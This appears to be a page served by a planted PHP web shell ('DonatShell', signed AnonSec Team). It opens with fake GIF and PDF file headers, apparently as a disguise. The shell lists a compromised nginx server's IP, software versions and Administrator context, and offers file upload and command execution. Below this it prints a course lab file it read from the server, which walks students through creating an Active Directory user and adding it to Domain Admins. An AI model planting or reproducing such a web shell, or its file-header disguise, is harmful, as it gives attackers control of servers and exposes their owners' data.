GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST2276/Labs/Lab02.1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST2276/Labs/Lab02.1/Lab02.1.phpinc
<?
// JimMartinson/CST2276/Labs/Lab02.1/Lab02.1.phpinc

require('Gradebook/EvaluationSubmission_BEGIN.phpinc');
#if ( $_SESSION['userId'] != 1 ) { require('Gradebook/EvaluationSubmission_NOTAVAILABLE.phpinc'); exit; }

#$showGenerateComputerNamesVariables = true;
require('JimMartinson/CST2276/Labs/GenerateComputerNames.phpinc');

$disabled = '';
#$disabled = ' disabled';

$uploadFilename = $courseNumber.'_'.$evaluationName.'_'.$userFileName.'.png';

?>
<style type="text/css">b {white-space:nowrap;}</style>
<p>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend>
<? if ( $disabled ) { ?>
<span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><br>
<? } ?>
The purpose of this lab is to add a domain user.
<br><?=$gradeNote?>
<ol>
	<li>Create a directory called <b class="copyText"><?=$evaluationName?></b>. We will use it for all work performed in this lab.</li>
	<li>On your server:
		<ol>
			<li>Open <b>Server Manager / Active Directory Users and Computers</b>.</li>
			<li>Create a new Orginizational Unit in <?=$domainName?> named <b class="copyText">people</b>.</li>
			<li>Create a user in the people OU with the following information:
				<ul>
					<li>First name: <b class="copyText"><?=$user1['first']?></b></li>
					<li>Last name: <b class="copyText"><?=$user1['last']?></b></li>
					<li>User logon name: <b class="copyText"><?=$user1['login']?></b></li>
				</ul>
			</li>
			<li>Add the user to the <b>Domain Admins</b> group.</li>
			<li>Run Powershell and enter the command: <b class="kbd copyText">(Get-ADUser <?=$user1['login']?> –Properties MemberOf)</b>.</li>
			<li>Take a screenshot and save it as <b class="copyText"><?=$uploadFilename?></b> in your <b><?=$evaluationName?></b> folder.
				<br>
		<? showBegin('See example screenshot'); ?><br>
		<img src="firstuser.png" width="786" alt="Example screenshot"/>
		<? showEnd (); ?>
			</li>
		</ol>
	</li>
	<li>Turn in your assignment:
		<ol type="a">
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.<? if ( $disabled ) { ?> <span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?></li>
		</ol>
	</li>
</ol>
<?=$gradeNote?>
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team